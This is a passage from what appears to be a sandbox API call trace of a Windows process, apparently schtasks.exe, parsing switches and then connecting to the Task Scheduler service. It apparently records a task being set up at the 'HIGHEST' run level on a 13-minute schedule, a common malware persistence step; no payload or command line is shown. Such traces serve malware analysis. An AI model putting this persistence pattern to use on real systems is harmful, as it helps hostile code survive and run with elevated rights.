(lpString="p") returned 1 [0062.944] lstrlenW (lpString="p") returned 1 [0062.944] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.944] lstrlenW (lpString="f") returned 1 [0062.944] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.944] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|p|") returned 3 [0062.944] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.944] lstrlenW (lpString="|p|") returned 3 [0062.945] lstrlenW (lpString="|f|") returned 3 [0062.945] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0062.945] SetLastError (dwErrCode=0x490) [0062.945] lstrlenW (lpString="ru") returned 2 [0062.945] lstrlenW (lpString="ru") returned 2 [0062.945] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.945] lstrlenW (lpString="f") returned 1 [0062.945] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.945] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ru|") returned 4 [0062.945] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.945] lstrlenW (lpString="|ru|") returned 4 [0062.945] lstrlenW (lpString="|f|") returned 3 [0062.945] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0062.945] SetLastError (dwErrCode=0x490) [0062.945] lstrlenW (lpString="rp") returned 2 [0062.945] lstrlenW (lpString="rp") returned 2 [0062.945] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.945] lstrlenW (lpString="f") returned 1 [0062.945] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.945] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rp|") returned 4 [0062.945] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.945] lstrlenW (lpString="|rp|") returned 4 [0062.945] lstrlenW (lpString="|f|") returned 3 [0062.945] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0062.945] SetLastError (dwErrCode=0x490) [0062.945] lstrlenW (lpString="sc") returned 2 [0062.945] lstrlenW (lpString="sc") returned 2 [0062.945] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.945] lstrlenW (lpString="f") returned 1 [0062.945] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.945] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.946] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.946] lstrlenW (lpString="|sc|") returned 4 [0062.946] lstrlenW (lpString="|f|") returned 3 [0062.946] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0062.946] SetLastError (dwErrCode=0x490) [0062.946] lstrlenW (lpString="mo") returned 2 [0062.946] lstrlenW (lpString="mo") returned 2 [0062.946] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.946] lstrlenW (lpString="f") returned 1 [0062.946] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.946] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.946] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.946] lstrlenW (lpString="|mo|") returned 4 [0062.946] lstrlenW (lpString="|f|") returned 3 [0062.946] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0062.946] SetLastError (dwErrCode=0x490) [0062.946] lstrlenW (lpString="d") returned 1 [0062.946] lstrlenW (lpString="d") returned 1 [0062.946] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.946] lstrlenW (lpString="f") returned 1 [0062.946] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.946] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|d|") returned 3 [0062.946] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.946] lstrlenW (lpString="|d|") returned 3 [0062.946] lstrlenW (lpString="|f|") returned 3 [0062.946] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0062.946] SetLastError (dwErrCode=0x490) [0062.946] lstrlenW (lpString="m") returned 1 [0062.946] lstrlenW (lpString="m") returned 1 [0062.946] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.946] lstrlenW (lpString="f") returned 1 [0062.946] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.947] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|m|") returned 3 [0062.947] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.947] lstrlenW (lpString="|m|") returned 3 [0062.947] lstrlenW (lpString="|f|") returned 3 [0062.947] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0062.947] SetLastError (dwErrCode=0x490) [0062.947] lstrlenW (lpString="i") returned 1 [0062.947] lstrlenW (lpString="i") returned 1 [0062.947] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.947] lstrlenW (lpString="f") returned 1 [0062.947] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.947] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|i|") returned 3 [0062.947] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.947] lstrlenW (lpString="|i|") returned 3 [0062.947] lstrlenW (lpString="|f|") returned 3 [0062.947] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0062.947] SetLastError (dwErrCode=0x490) [0062.947] lstrlenW (lpString="tn") returned 2 [0062.947] lstrlenW (lpString="tn") returned 2 [0062.947] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.947] lstrlenW (lpString="f") returned 1 [0062.947] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.947] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.947] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.947] lstrlenW (lpString="|tn|") returned 4 [0062.947] lstrlenW (lpString="|f|") returned 3 [0062.947] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0062.947] SetLastError (dwErrCode=0x490) [0062.947] lstrlenW (lpString="tr") returned 2 [0062.947] lstrlenW (lpString="tr") returned 2 [0062.947] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.948] lstrlenW (lpString="f") returned 1 [0062.948] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.948] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.948] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.948] lstrlenW (lpString="|tr|") returned 4 [0062.948] lstrlenW (lpString="|f|") returned 3 [0062.948] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0062.948] SetLastError (dwErrCode=0x490) [0062.948] lstrlenW (lpString="st") returned 2 [0062.948] lstrlenW (lpString="st") returned 2 [0062.948] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.948] lstrlenW (lpString="f") returned 1 [0062.948] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.948] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|st|") returned 4 [0062.948] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.948] lstrlenW (lpString="|st|") returned 4 [0062.948] lstrlenW (lpString="|f|") returned 3 [0062.948] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0062.948] SetLastError (dwErrCode=0x490) [0062.948] lstrlenW (lpString="sd") returned 2 [0062.948] lstrlenW (lpString="sd") returned 2 [0062.948] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.948] lstrlenW (lpString="f") returned 1 [0062.948] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.948] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sd|") returned 4 [0062.948] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.948] lstrlenW (lpString="|sd|") returned 4 [0062.948] lstrlenW (lpString="|f|") returned 3 [0062.948] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0062.948] SetLastError (dwErrCode=0x490) [0062.948] lstrlenW (lpString="ed") returned 2 [0062.949] lstrlenW (lpString="ed") returned 2 [0062.949] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.949] lstrlenW (lpString="f") returned 1 [0062.949] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.949] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ed|") returned 4 [0062.949] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.949] lstrlenW (lpString="|ed|") returned 4 [0062.949] lstrlenW (lpString="|f|") returned 3 [0062.949] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0062.949] SetLastError (dwErrCode=0x490) [0062.949] lstrlenW (lpString="it") returned 2 [0062.949] lstrlenW (lpString="it") returned 2 [0062.949] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.949] lstrlenW (lpString="f") returned 1 [0062.949] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.949] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|it|") returned 4 [0062.949] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.949] lstrlenW (lpString="|it|") returned 4 [0062.949] lstrlenW (lpString="|f|") returned 3 [0062.949] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0062.949] SetLastError (dwErrCode=0x490) [0062.949] lstrlenW (lpString="et") returned 2 [0062.949] lstrlenW (lpString="et") returned 2 [0062.949] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.949] lstrlenW (lpString="f") returned 1 [0062.949] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.949] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|et|") returned 4 [0062.949] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.949] lstrlenW (lpString="|et|") returned 4 [0062.949] lstrlenW (lpString="|f|") returned 3 [0062.949] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0062.950] SetLastError (dwErrCode=0x490) [0062.950] lstrlenW (lpString="k") returned 1 [0062.950] lstrlenW (lpString="k") returned 1 [0062.950] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.950] lstrlenW (lpString="f") returned 1 [0062.950] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.950] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|k|") returned 3 [0062.950] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.950] lstrlenW (lpString="|k|") returned 3 [0062.950] lstrlenW (lpString="|f|") returned 3 [0062.950] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0062.950] SetLastError (dwErrCode=0x490) [0062.950] lstrlenW (lpString="du") returned 2 [0062.950] lstrlenW (lpString="du") returned 2 [0062.950] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.950] lstrlenW (lpString="f") returned 1 [0062.950] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.950] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|du|") returned 4 [0062.950] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.950] lstrlenW (lpString="|du|") returned 4 [0062.950] lstrlenW (lpString="|f|") returned 3 [0062.950] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0062.950] SetLastError (dwErrCode=0x490) [0062.950] lstrlenW (lpString="ri") returned 2 [0062.950] lstrlenW (lpString="ri") returned 2 [0062.950] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.950] lstrlenW (lpString="f") returned 1 [0062.950] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.950] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ri|") returned 4 [0062.950] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.951] lstrlenW (lpString="|ri|") returned 4 [0062.951] lstrlenW (lpString="|f|") returned 3 [0062.951] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0062.951] SetLastError (dwErrCode=0x490) [0062.951] lstrlenW (lpString="z") returned 1 [0062.951] lstrlenW (lpString="z") returned 1 [0062.951] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.951] lstrlenW (lpString="f") returned 1 [0062.951] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.951] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|z|") returned 3 [0062.951] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.951] lstrlenW (lpString="|z|") returned 3 [0062.951] lstrlenW (lpString="|f|") returned 3 [0062.951] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0062.951] SetLastError (dwErrCode=0x490) [0062.951] lstrlenW (lpString="f") returned 1 [0062.951] lstrlenW (lpString="f") returned 1 [0062.951] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.951] lstrlenW (lpString="f") returned 1 [0062.951] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.951] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.951] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|f|") returned 3 [0062.951] lstrlenW (lpString="|f|") returned 3 [0062.951] lstrlenW (lpString="|f|") returned 3 [0062.951] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0062.951] SetLastError (dwErrCode=0x0) [0062.951] SetLastError (dwErrCode=0x0) [0062.951] GetProcessHeap () returned 0x320000 [0062.951] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cea0 [0062.951] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.952] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0062.952] lstrlenW (lpString="LIMITED") returned 7 [0062.952] GetProcessHeap () returned 0x320000 [0062.952] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x10) returned 0x33d690 [0062.952] GetThreadLocale () returned 0x409 [0062.952] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0062.952] GetProcessHeap () returned 0x320000 [0062.952] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33ce70 [0062.952] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.952] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0062.952] lstrlenW (lpString="HIGHEST") returned 7 [0062.952] GetProcessHeap () returned 0x320000 [0062.952] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x10) returned 0x33d6b0 [0062.952] GetThreadLocale () returned 0x409 [0062.952] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0062.952] GetProcessHeap () returned 0x320000 [0062.952] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33ce40 [0062.952] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.952] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0062.952] lstrlenW (lpString="MINUTE") returned 6 [0062.952] GetProcessHeap () returned 0x320000 [0062.952] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xe) returned 0x33d6d0 [0062.952] GetThreadLocale () returned 0x409 [0062.952] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0062.952] SetLastError (dwErrCode=0x0) [0062.952] GetProcessHeap () returned 0x320000 [0062.952] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x1fc) returned 0x33c480 [0062.953] GetProcessHeap () returned 0x320000 [0062.953] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33ce10 [0062.953] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.953] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0062.953] lstrlenW (lpString="First") returned 5 [0062.953] GetProcessHeap () returned 0x320000 [0062.953] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xc) returned 0x33d6f0 [0062.953] GetProcessHeap () returned 0x320000 [0062.953] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cde0 [0062.953] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.953] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0062.953] lstrlenW (lpString="Second") returned 6 [0062.953] GetProcessHeap () returned 0x320000 [0062.953] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xe) returned 0x33d710 [0062.953] GetProcessHeap () returned 0x320000 [0062.953] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cdb0 [0062.953] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.953] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0062.953] lstrlenW (lpString="Third") returned 5 [0062.953] GetProcessHeap () returned 0x320000 [0062.953] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xc) returned 0x33d730 [0062.953] GetProcessHeap () returned 0x320000 [0062.953] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cd80 [0062.953] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.953] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0062.953] lstrlenW (lpString="Fourth") returned 6 [0062.953] GetProcessHeap () returned 0x320000 [0062.953] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xe) returned 0x33d750 [0062.953] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.953] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0062.953] lstrlenW (lpString="Last") returned 4 [0062.953] GetProcessHeap () returned 0x320000 [0062.954] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xa) returned 0x33d770 [0062.954] lstrlenW (lpString="13") returned 2 [0062.954] _wtol (_String="13") returned 13 [0062.954] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.954] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0062.954] lstrlenW (lpString="First") returned 5 [0062.954] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.954] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0062.954] lstrlenW (lpString="Second") returned 6 [0062.954] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.954] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0062.954] lstrlenW (lpString="Third") returned 5 [0062.954] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.954] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0062.954] lstrlenW (lpString="Fourth") returned 6 [0062.954] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.954] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0062.954] lstrlenW (lpString="Last") returned 4 [0062.955] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x15c2a0, cchData=128 | out: lpLCData="0") returned 2 [0062.955] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.955] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0062.955] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0062.955] GetProcessHeap () returned 0x320000 [0062.955] GetProcessHeap () returned 0x320000 [0062.955] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d6f0) returned 1 [0062.955] GetProcessHeap () returned 0x320000 [0062.955] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d6f0) returned 0xc [0062.955] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d6f0 | out: hHeap=0x320000) returned 1 [0062.955] GetProcessHeap () returned 0x320000 [0062.955] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x16) returned 0x33d6f0 [0062.955] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x15c2c0, cchData=128 | out: lpLCData="0") returned 2 [0062.955] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.955] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0062.955] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0062.955] GetProcessHeap () returned 0x320000 [0062.955] GetProcessHeap () returned 0x320000 [0062.955] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d710) returned 1 [0062.955] GetProcessHeap () returned 0x320000 [0062.955] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d710) returned 0xe [0062.955] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d710 | out: hHeap=0x320000) returned 1 [0062.955] GetProcessHeap () returned 0x320000 [0062.955] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x16) returned 0x33d710 [0062.955] GetLocalTime (in: lpSystemTime=0x15c4f0 | out: lpSystemTime=0x15c4f0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2f, wMilliseconds=0x22c)) [0062.956] lstrlenW (lpString="") returned 0 [0062.956] GetLocalTime (in: lpSystemTime=0x15cda8 | out: lpSystemTime=0x15cda8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2f, wMilliseconds=0x22c)) [0062.956] lstrlenW (lpString="") returned 0 [0062.956] lstrlenW (lpString="") returned 0 [0062.956] lstrlenW (lpString="") returned 0 [0062.956] lstrlenW (lpString="") returned 0 [0062.956] lstrlenW (lpString="13") returned 2 [0062.956] _wtol (_String="13") returned 13 [0062.956] lstrlenW (lpString="") returned 0 [0062.956] lstrlenW (lpString="") returned 0 [0062.956] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0063.100] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0063.133] CoCreateInstance (in: rclsid=0xffe11ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffe11ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x15cb70 | out: ppv=0x15cb70*=0x42dee0) returned 0x0 [0063.142] TaskScheduler:ITaskService:Connect (This=0x42dee0, serverName=0x15cc50*(varType=0x8, wReserved1=0x15, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x15cc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x15cc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 